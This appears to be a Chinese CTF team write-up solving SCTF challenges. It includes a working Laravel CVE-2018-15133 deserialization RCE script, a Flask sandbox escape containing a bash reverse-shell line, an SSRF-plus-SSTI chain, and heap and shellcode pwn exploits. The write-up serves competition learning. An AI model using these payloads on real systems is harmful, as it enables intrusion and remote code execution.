Misc
.
Can you hear | Done
一道十分淳朴的无线电题,robot36就能解
PassWord Lock | Done
stm32f103c8t6主控的密码锁,固件逆向
参考:https://www.angelic47.com/archives/97/
斗地主 | Done
就硬斗
EasyMisc | Done
题目给的galf_si_erehw,明显是倒叙(Where is flag)
猜测将16进制倒置过来(类似19年minil)
十六进制反转之后手动补齐前面缺失的6位文件头
然后看到了这个
拿到flag
反转脚本:
https://paste.ubuntu.com/p/HX9KtKj9nw/
AndroidDisplayBridge | Done
提取tcp协议数据
tshark -r attachment.pcapng -T fields -e tcp.payload | sed '/^\s*$/d' > out.txt
再过滤57525445开头的数据,将其保留下来
f = open('out.txt','r')
fi = open('oo.txt','w')
while 1:
a = f.readline().strip()
if a:
if a[:8] == '57525445':
fi.write(a)
fi.write('\n')
else:
break
fi.close()
由于题目描述中提到画出东西,所以想到坐标相关,和鼠标流量那种类似
观察得到的数据,发现在043808e8前有两个类似16进制下坐标的数据,脚本提取
转化成gnuplot可识别形式
f = open('oo.txt','r')
fi = open('xy.txt','w')
while 1:
a = f.readline().strip()
if a:
if a[84:92] == '043808e8':
fi.write(str(int(a[73:76],16)))
fi.write(' ')
fi.write(str(int(a[81:84],16)))
fi.write('\n')
else:
break
fi.close()
将得到的数据利用gnuplot画图,垂直翻转一下,得到flag
PassWord Lock Plus | Done
thumb 指令集
直接跳转到中断向量函数
模拟器有bug翻半天才找到的板子
.
Web
.
CloudDisk | Done
- koa框架
- 给了源码
上传的文件可以下载
https://github.com/dlau/koa-body/issues/75
https://github.com/HelloWorld017/koa-body-poc
download下载就完了
{"files": {"file": {"path": "./flag"}}}
bestlanguage | Done
PendingBroadcast->Generator 虽然不知道干什么但是先放一条链在这.jpg
这个app_key要是算是泄露的话,有个RCE,这个laravel的版本在影响范围内
https://github.com/kozmic/laravel-poc-CVE-2018-15133
- 是非预期
- app_key泄露的RCE CVE-2018-15133
⬆️ 其实这么打有偏差
laravel会decrypt headers里的X-XSRF-TOKEN与 cookies里的值,而:
也就是说要么
request.post(url, headers={'X-XSRF-TOKEN': payload})
要么
requests.get(url, cookies={'any': payload}
懒人脚本:
import hmac
import json
from base64 import b64encode, b64decode
from Crypto import Random
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from phpserialize import *
from requests import session
ses = session()
APP_KEY = 'P5tGTBKV2clEGWCWD7L5fSrhi8sfnX/cmHdqzx/fpVo='
TARGET = 'http://39.104.93.188'
@namespace('Faker')
class Generator:
protected_formatters = {'dispatch': 'system'}
@namespace('Illuminate\\Broadcasting')
class PendingBroadcast:
def __init__(self, cmd='whoami'):
self.protected_event = cmd
self.protected_events = Generator()
def get_payload(cmd):
key = b64decode(APP_KEY)
data = pad(serialize(PendingBroadcast(cmd)).encode(), 16)
iv = b64encode(Random.new().read(AES.block_size))
res = b64encode(AES.new(key, AES.MODE_CBC, b64decode(iv)).encrypt(data))
mac = hmac.new(key, iv + res, 'sha256').hexdigest()
payload = b64encode(json.dumps({
'iv': iv.decode(), 'value': res.decode(), 'mac': mac
}).encode()).decode()
return payload
while True:
print(ses.get(TARGET, cookies={
'asdf': get_payload(input())
}).text[:])
PySandbox | Done
思路就是想办法搞一个call出来
cmd=request.form.__class__.__getitem__=lambda*p:p
这里不能用空格但是能用换行
request.form.__class__.__getitem__=lambda*p:app;
Flask.__iter__=lambda*p:[p,secret:=request.form[secret[0]]][0]
然而找不到可以iter的东西,作用域也有问题
非预期:
直接替换static目录
print(send_command('app.static_folder=request.form[secret[0]]', a='./'))
print(requests.get(url + '/static/flag').text)
PySandbox2 | Done
然后现在有几种执行代码的办法
request.form.__class__.__getitem__
Flask.__iter__
patch flask本身的函数
对象 __del__
结果就是patch flask自己的函数就好使,想个办法跑exec就成
import requests
print(requests.post('http://39.104.90.30:10005', data={
'cmd':
'Flask.__doc__=request.form[secret[0]];'
'app.make_response=lambda*p:Flask.__doc__;'
'app.process_response=exec',
'F': "__import__('os').system(\"bash -c 'bash -i >& /dev/tcp/my_ip/23333 0>&1'\")"
}))
flag就在根目录,./readflag即可
~~垃圾Flask~~
UnsafeDefenseSystem
PHP/5.6.26, tp 5.0.24
可直接访问
http://39.99.41.124/public/log.txt
http://39.99.41.124/protect.py
http://39.99.41.124/public/test/
口 吐 芬 芳
爆破得到密码:Admin1964752/DsaPPPP!@#amspe1221
flag没权限读 <- 实际上是strpos($s, "flag")
的waf
index controller可以反序列化
tp5.0.21 只有任意文件写,得要过一下他那个备份
https://althims.com/2020/02/07/thinkphp-5-0-24-unserialize/
然而可以往/tmp目录下写,甚至不需要看他的protect.py
jsonhub | Done
对外开放的是web1,一个Django服务
内网还有个flask
web2返回的是假flag
caculator 应该有模板注入
这个应该是要rce执行readflag程序
首先要过那个django的token,然后ssrf请求flask_rpc,这样才能带上Content-Type发POST请求
payload = {
'num1': '',
# !"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~
#0-9
'num2': '',
'symbols': '',
#+-*/
}
req = Request('GET', 'http://localhost', params = {
'methods': 'POST',
'url': 'http://localhost:5000/caculator',
# flask在:5000
'data': b64encode(json.dumps(
payload # 发给flask的
).encode()).decode()
}).prepare()
ses.post('http://39.104.19.182/home', json={
'url': req.url,
'token': '' # 重点就是过这里
})
感觉注册的时候有问题,可以指定用户的任意属性
是有权限查看,但是没权限修改
俩字段,is_superuser,is_staff都得是1
就能访问 http://39.104.19.182/admin/app/token/ 拿到token了
然后python端有对jinja tag过滤
@app.before_request
def before_request():
data = str(request.data)
log()
if "{{" in data or "}}" in data or "{%" in data or "%}" in data:
abort(401)
json强制转义可以绕过滤
json.loads('"\u007b"')->'{'
trick:
json.encoder.encode_basestring_ascii = json.encoder.py_encode_basestring_ascii
json.encoder.ESCAPE_ASCII = re.compile(r'.')
暴力出奇迹
然后这题目在docker里头。。请求公网ip的话REMOTE_ADDR大概是172.17.啥的。。。所以还得过那个ssrf_check。。。。
⬆️ https://xz.aliyun.com/t/3302
但是num1, num2里不能出现字母,比赛的时候卡了挺长时间。。。后来才反应过来运算符里只要出现加减乘除就行
'{{'+'[1*1,code_here]'+'}}'
exp:
from requests import Request, session, get, post
from bs4 import BeautifulSoup
from base64 import b64encode
import json
import re
HOST = 'http://39.104.19.182'
ses = session()
USER = 'frkasdf'
PASS = 'qwer'
# session 默认keep-alive,这个服务端好像有点连接性问题,所以单独请求
post(HOST + '/reg/', json={
'username': USER,
'password': PASS,
'is_staff': True,
'is_superuser': True
}).json()['code']
ses.post(HOST + '/login/', json={
'username': USER,
'password': PASS,
})
page = BeautifulSoup(get(
HOST + '/admin/app/token/', cookies=ses.cookies
).text, 'lxml')
token = page.find('td', attrs={'class': 'field-Token'}).text
ssti = '{{config.__class__.__init__.__globals__["os"].popen("/readflag").read() + ""}}'
payload = ('{' + json.dumps({
'num1': '', 'num2': '', 'symbols': ssti,
})[1:-1].replace('{', '\\u007b').replace('}', '\\u007d') + '}')
payload = b64encode(payload.encode()).decode()
req = Request('GET', HOST + '//127.0.0.1:8000/flask_rpc', params={
'methods': 'POST',
'url': 'http://localhost:5000/caculator',
# flask在:5000
'data': payload
}).prepare()
print(json.loads(ses.post(HOST + '/home/', json={
'url': req.url,
'token': token
}).json()['message'])['message'])
脑筋急转弯
.
Reverse
.
signin | Done
pyinstaller打包的exe程序
从main入手
数字签名也都还留着,想办法逆就是了,应该没啥难度
https://paste.ubuntu.com/p/FRs6cm8B6W/
mydata.pyc里头有tmp.dll,摘出来ida一下就行了
明文的,strings mydata.pyc就能看到
现在可公开的情报.jpg:
sub_180011311:
sub_18001130C貌似会把传入的参数原封不动的返回
根据那个0xB0004B7679FA26B3搜了下,直接搜出奇奇怪怪的东西了
https://paper.seebug.org/1059/#polyre
from base64 import b64decode
cipher = b64decode("PLHCu+fujfZmMOMLGHCyWWOq5H5HDN2R5nHnlV30Q0EA")
cipher = bytes(x ^ y for x, y in zip(cipher, b"SCTFer" * 100))[:-1]
origin = [int.from_bytes(cipher[i : i + 8], "little") for i in range(0, len(cipher), 8)]
key = 0xB0004B7679FA26B3
data = b""
for value in origin:
for i in range(64):
tail = value & 1
if tail == 1:
value = value ^ key
value = value // 2
if tail == 1:
value = value | 0x8000000000000000
j = 0
while j < 8:
data += bytes([value & 0xFF])
value = value >> 8
j += 1
print(data)
就是简单的位移密码
get_up | Done
第一关word: sycsyc,过程略
有一处三个字节的汇编需要patch,和flag相关,猜一下常见机器码0x89, 0x45, 0xfc即可。
exp
#include <iostream>
#include <vector>
#include <cstring>
#include <cstdio>
using namespace std;
unsigned char code[] =
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0xCA, 0x11, 0xBA, 0xBD, 0x16, 0xB3, 0x27, 0x80, 0x3E, 0xA2,
0x3A, 0x92, 0x03, 0x89, 0x30, 0x85, 0x11, 0xB5, 0x17, 0x95,
0x06, 0xA0, 0x29, 0xBD, 0x16, 0xB6, 0x22, 0x80, 0x3E, 0xA5,
0x26, 0x92, 0x03, 0x8C, 0x21, 0x70, 0x94, 0xCE, 0x3E, 0xAB,
0x29, 0x7C, 0x2C, 0x7B, 0xDE, 0x0E, 0x9C, 0x17, 0x93, 0x5C,
0xB0, 0xAB, 0xB9, 0xF8, 0x97, 0x4F, 0x93, 0xC3, 0x77, 0xA8,
0xBC, 0xAB, 0x46, 0x7B, 0x53, 0x43, 0xBF, 0x49, 0xF0, 0xC6,
0x4F, 0xAF, 0xB9, 0x84, 0xD0, 0x81, 0x55, 0xCF, 0xEE, 0x5F,
0xFB, 0xFF, 0xFF, 0x8B, 0x45, 0x08, 0x50, 0xE8, 0xF4, 0xF2,
0xFF, 0xFF, 0x83, 0xC4, 0x04, 0x39, 0x85, 0x0C, 0xFB, 0xFF,
0xFF, 0x73, 0x17, 0x8B, 0x4D, 0x08, 0x03, 0x8D, 0x0C, 0xFB,
0xFF, 0xFF, 0x8B, 0x95, 0x0C, 0xFB, 0xFF, 0xFF, 0x8A, 0x01,
0x88, 0x44, 0x15, 0xC8, 0xEB, 0xC6, 0xC7, 0x85, 0x10, 0xFB,
0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00
};
void work(int *a1) {
int v12[30] = {0x80,0x55,0x7E,0x2D,0xD1,9,0x25,0xAB,0x3C,0x56,0x95,0xC4,0x36,0x13,0xED,0x72,0x24,0x93,0xB2,0xC8,0x45,0xEC,0x16,0x6B,0x67,0x1D,0xF9,0xA3,0x96,0xD9};
size_t v2; // eax
size_t v3; // eax
int v6 = 0; // [esp+7Ch] [ebp-9Ch]
int v11 = 0;
int v10 = 0;
for (int j = 0; ; ++j )
{
v3 = 30;
if ( j >= v3 )
break;
v11 = (v11 + 1) % 0x100;
v10 = (a1[v11] + v10) % 0x100;
a1[v11] = (a1[v10] & ~a1[v11]) | (a1[v11] & ~a1[v10]);
a1[v10] = (a1[v10] & ~a1[v11]) | (a1[v11] & ~a1[v10]);
a1[v11] = (a1[v10] & ~a1[v11]) | (a1[v11] & ~a1[v10]);
v6 = (a1[v10] + a1[v11]) % 0x100;
cout << (char) (a1[v6] ^ v12[j]);
}
}
void exp() {
size_t v1; // eax
int v3[300]; // [esp+0h] [ebp-9ACh]
int v4; // [esp+4B0h] [ebp-4FCh]
int v5; // [esp+4B4h] [ebp-4F8h]
size_t i; // [esp+4B8h] [ebp-4F4h]
unsigned int j; // [esp+4BCh] [ebp-4F0h]
int k; // [esp+4C0h] [ebp-4ECh]
int v9[300]; // [esp+4C4h] [ebp-4E8h]
char input[40]; // [esp+974h] [ebp-38h]
char const_str[9] = "syclover";
for (j = 0; (signed int) j < 0x100; ++j) {
v9[j] = j;
v1 = strlen(const_str);
v3[j] = const_str[j % v1];
}
v5 = 0;
for (k = 0; k < 0x100; ++k) {
v5 = (v3[k] + v9[k] + v5) % 0x100;
v4 = v9[k];
v9[k] = v9[v5];
v9[v5] = v4;
}
work(v9);
}
int main() {
char flag[] = "SCTF{";
int i = 0;
exp();
}
.
Pwn
.
coolcode | Done
程序开始前设置了沙箱规则限制系统调用(考虑orw)
http://www.secwk.com/2019/09/20/6564/
https://bbs.pediy.com/thread-249556-1.htm
add功能可以填入负数index,写入got表,堆可执行,这样可以直接执行堆上的shellcode,但是限制比较多,必须是可打印字符,沙箱bulabula
题目封装的read只能读数字和大写字母
msf和alpha3生成出来的shellcode太长了
if ( prctl(22, 2LL, &v1) < 0 ) {
perror("prctl(PR_SET_SECCOMP)");
exit(2);
}
seccomp只是限制了64位的系统调用也就是64位下的open不能用了,根据网上的资料来看,生成32位orw shellcode并跳转执行是比较可靠的方法。
尝试在exit后执行堆上内容,在堆上构造ret
ubuntu16.04环境,先切32构造open再切64构造read和write
EXP
from pwn import *
p=process("./coolcode")
context.log_level = "debug"
#p=remote("39.107.119.192",9999)
def add(index,content):
p.recvuntil(b"Your choice :")
p.sendline(b"1")
p.recvuntil(b"Index: ")
p.sendline(str(index).encode())
p.recvuntil(b"messages: ")
p.send(content)
def show(index):
p.recvuntil(b"Your choice :")
p.sendline(b"2")
p.recvuntil(b"Index: ")
p.sendline(str(index).encode())
def delete(index):
p.recvuntil(b"Your choice :")
p.sendline(b"3")
p.recvuntil(b"Index: ")
p.sendline(str(index).encode())
def exp():
#gdb.attach(p,"b *0x400880\nc\n")
add(-34,"PYSX4BP4EZ1TA61TA7PZ1TA5QXQZ") #exit_got
add(0,"11111111111111111111111111111111")
add(1,"1111111111111111SSXXMG")
show(0)
shellcode = ""
a = '''
add rcx, 20;
mov rbx, 0x23
SHL rbx, 32;
add rcx, rbx;
push rcx;
retf
mov esp, edx
'''
shellcode += asm(a,arch="amd64");
b = '''
mov eax, 5;
push 0x00006761;
push 0x6c662f2e;
mov ebx, esp;
mov ecx, 0;
int 0x80;
add edx, 0x7b;
push 0x33
push edx
retf
'''
shellcode += asm(b,arch="i386");
c = '''
mov rdi, rax;
mov rsi, 0x602100;
mov rdx, 0x40;
mov rax, 0;
syscall;
mov rdi, 1;
mov rsi, 0x602100;
mov rdx, 0x40;
mov rax, 1;
syscall;
'''
shellcode += asm(c,arch="amd64");
p.sendline(b"\x90"*0x46+shellcode)
p.interactive()
if __name__ == "__main__":
exp()
snake | Done
结束游戏后有添加,删除,和获取name的操作可以控制堆块
map存放在一个大堆块里面
游戏结束后可以输入一段内容,这个内容起始位置在map堆块中,下标由最后坐标计算出,可能存在溢出
贪吃蛇在最后一格死亡时,leave message存在off_by_one漏洞
被覆盖的是玩家名字第一位的prev size和size域
0x1da0a40: 0x0000000000000000 0x4141414100000000
0x1da0a50: 0x4141414141414141 0x4141414141414141
0x1da0a60: 0x4141414141414141 0x4141414141414141
0x1da0a70: 0x4141414141414141 0x4141414141414141
0x1da0a80: 0x4141414141414141 0x4242424241414141
0x1da0a90: 0x4343434343434343 0x0000000000000043 [name 0]
0x1da0aa0: 0x0000000000333231 0x0000000000000000
0x1da0ab0: 0x0000000000000000 0x0000000000020551 [TOP CHUNK]
0x1da0ac0: 0x0000000000000000 0x0000000000000000
off by one + unsorted_bin + overlapping
EXP:
from pwn import *
import time
#p = process("./snake")
context.log_level = "debug"
p = remote("39.107.244.116",9999)
def add(index,length,name):
p.recvuntil(b"4.start name\n")
p.sendline(b"1")
p.recvuntil(b"index?\n")
p.sendline(str(index).encode())
p.recvuntil(b"how long?\n")
p.sendline(str(length).encode())
p.recvuntil(b"name?\n")
p.sendline(name)
def delete(index):
p.recvuntil(b"4.start name\n")
p.sendline(b"2")
p.recvuntil(b"index?\n")
p.sendline(str(index).encode())
def get(index):
p.recvuntil(b"4.start name\n")
p.sendline(b"3")
p.recvuntil(b"index?\n")
p.sendline(str(index).encode())
def start():
p.recvuntil(b"4.start name\n")
p.sendline(b"4")
def play2die():
while(1):
ret = p.recv()
if b"please leave words:\n" in ret:
break
else:
p.send("s")
time.sleep(0.6)
def exp():
p.recvuntil(b"how long?\n")
p.sendline(b"96")
p.recvuntil(b"input name\n")
list_start = 0x603140 #name_ptr_list
fd = list_start-0x18
bk = list_start-0x10
#name = p64(fd) + p64(bk)
name = b"A"*8
p.sendline(name)
play2die()
words = b"123123"
p.sendline(words)
p.recvuntil(b"if you want to exit?\n")
p.sendline(b"n")
add(1,0x60,b"BBBBBBBB")
add(2,0x20,p64(0xf0)+p64(0x21))
start()
play2die()
words = b"A"*(4+0x40) + b"B"*8 + b"\xf1"
p.send(words)
p.recvuntil(b"if you want to exit?\n")
p.sendline(b"n")
delete(0)
delete(1)
start()
p.recv(13)
unsorted_arena = u64(p.recv(6).ljust(8,b"\x00"))
libc_base = unsorted_arena - 0x3C4B20 - 0x58
fake_chunk_start = libc_base + 0x3C4AED
one_gadget = libc_base + 0xf1147
malloc_hook = libc_base + 0x3c4b10
print("unsorted_arena",hex(unsorted_arena))
print("libc_base",hex(libc_base))
print("fake_chunk_start",hex(fake_chunk_start))
print("one_gadget",hex(one_gadget))
print("malloc_hook",hex(malloc_hook))
play2die()
words = b"123123"
p.sendline(words)
p.recvuntil(b"if you want to exit?\n")
p.sendline(b"n")
add(0,0x50,b"AAAAAAAA")
add(1,0x20,p64(0)+p64(0x71)+p64(fake_chunk_start))
add(3,0x60,b"DDDDDDDD")
add(4,0x60,b"A"*0x13+p64(one_gadget))
print("one_gadget",hex(one_gadget))
print("malloc_hook",hex(malloc_hook))
p.recvuntil(b"4.start name\n")
p.sendline(b"1")
p.recvuntil(b"index?\n")
p.sendline(str(5).encode())
p.recvuntil(b"how long?\n")
p.sendline(str(16).encode())
p.interactive()
if __name__ == "__main__":
exp()
.
Crypto
.
RSA | Done
相同解密密钥的攻击
企鹅e和三个n,这些满足$ed-1 = k \phi(n) = k(n-p-q+1)$
所以$ed - kn = 1 - k(p+q-1)$
因此构造一个,第一排全是e,对角线为n,[0,0]位置为\sqrt(N)的格子,LLL后即可得到d
详细证明与格子在这篇paper有给出
https://www.ijcsi.org/papers/IJCSI-9-2-1-311-314.pdf
sage脚本:https://paste.ubuntu.com/p/rWW67W636S/
Lattice | Done
NTRU的多项式实现,用比miniL复杂一点的格子就能解决了
g = hf (mod q)且f与g系数只有正负1
因此g和f的系数的范数很小
同时,g可以看作是n个h_x^i加减得到的,从而可以用格基规约得到
因此,构造一个2n_2n的矩阵,左上半部分对角线是q,右下半部分是1,左下半部分是n个h*x^i的系数。
通过LLL后,svp左半边为g右半边为f。但是LLL的效果并不好,得不到想要的f,改成BKZ即可得到目标f
(但其实对私钥要求并不高,LLL出的f同样可以用来解密,且答案一样。)
exp:https://paste.ubuntu.com/p/qPgHGjWHsH/
打印出的二进制无法直接一把梭变成bytes,因为在对明文处理中,会将明文前面和后面的0全部丢弃。
因此还需要手动添0,来得到flag(由于一开始没有assert len(flag) % 8 == 0 , 导致0加少了还把后面几位给抛了。。。导致少了一位,卡了好久)
最后结果是前面加1个0,后面加6个0,即可得到flag。
Comment Closed.